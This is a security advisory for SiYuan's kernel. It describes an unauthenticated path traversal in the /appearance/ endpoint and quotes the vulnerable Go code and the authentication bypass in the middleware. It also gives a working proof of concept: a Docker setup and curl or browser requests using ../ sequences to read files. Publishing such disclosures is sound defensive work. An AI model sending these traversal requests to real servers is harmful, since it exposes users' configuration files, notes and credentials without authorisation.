GHSA-hhgj-gg9h-rjp7 Siyuan has an Unauthenticated Arbitrary File Read via Path Traversal

• Go github.com/siyuan-note/siyuan/kernel: <= 0.0.0-20260317012524-fe4523fff2c8 (no fix yet)

Summary The Siyuan kernel exposes an unauthenticated file-serving endpoint under **/appearance/*filepath. Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process. Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials. Details Vulnerable Code Location File: kernel/server/serve.go** ``` sh siyuan.GET("/appearance/*filepath", func(c *gin.Context) { filePath := filepath.Join( appearancePath, strings.TrimPrefix(c.Request.URL.Path, "/appearance/") ) ... c.File(filePath) }) ``` Technical Root Cause The handler constructs a filesystem path by joining a base directory (appearancePath) with user-controlled URL segments. Key issues: 1. Unsanitized User Input The path component extracted from the request is not validated or normalized to prevent traversal. ``` sh strings.TrimPrefix(c.Request.URL.Path, "/appearance/") ``` This preserves sequences such as: ``` sh ../ ..\ (Windows) ``` 2. Unsafe Path Joining _filepath.Join()_ does not enforce directory confinement. This escapes the intended directory. 3. Direct File Serving The resolved path is served without verification: ``` sh c.File(filePath) ``` Authentication Bypass (Unauthenticated Access) Authentication middleware explicitly skips /appearance/ requests. File: session.go ``` sh if strings.HasPrefix(c.Request.RequestURI, "/appearance/") || strings.HasPrefix(c.Request.RequestURI, "/stage/build/export/") || strings.HasPrefix(c.Request.RequestURI, "/stage/protyle/") { c.Next() return } ``` This allows attackers to access the vulnerable endpoint without a session or token. Exploitation Scenario A remote attacker can craft a URL containing directory traversal sequences to read files accessible to the Siyuan process. Example request: ``` GET /appearance/../../data/conf.json HTTP/1.1 Host: target ``` Because authentication is bypassed, the attack requires no credentials. PoC Step 1 — Create marker file ``` mkdir -p ./workspace/data echo POC_EXPLOITED > ./workspace/data/poc_exploit.txt ``` Step 2 — Run SiYuan container ``` docker run -d \ -p 6806:6806 \ -e SIYUAN_ACCESS_AUTH_CODE_BYPASS=true \ -v $(pwd)/workspace:/siyuan/workspace \ b3log/siyuan \ --workspace=/siyuan/workspace ``` Step 3 — Confirm service works Open in browser: ``` sh http://127.0.0.1:6806 ``` Exploit PoC Method A — using CURL command Use --path-as-is so curl does NOT normalize ../. ``` sh curl -v --path-as-is \ "http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt" ``` Output ``` sh HTTP/1.1 200 OK POC_EXPLOITED ``` Method B — Using Browser ``` sh http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt ``` If method B is not working, use method A, which is CURL command to do the exploit Impact An unauthenticated attacker can read arbitrary files accessible to the server process, including: • Workspace configuration files • User notes and stored data • API tokens and secrets • Local system files (depending on permissions) This may lead to: • Sensitive information disclosure • Credential leakage • Further compromise through exposed secrets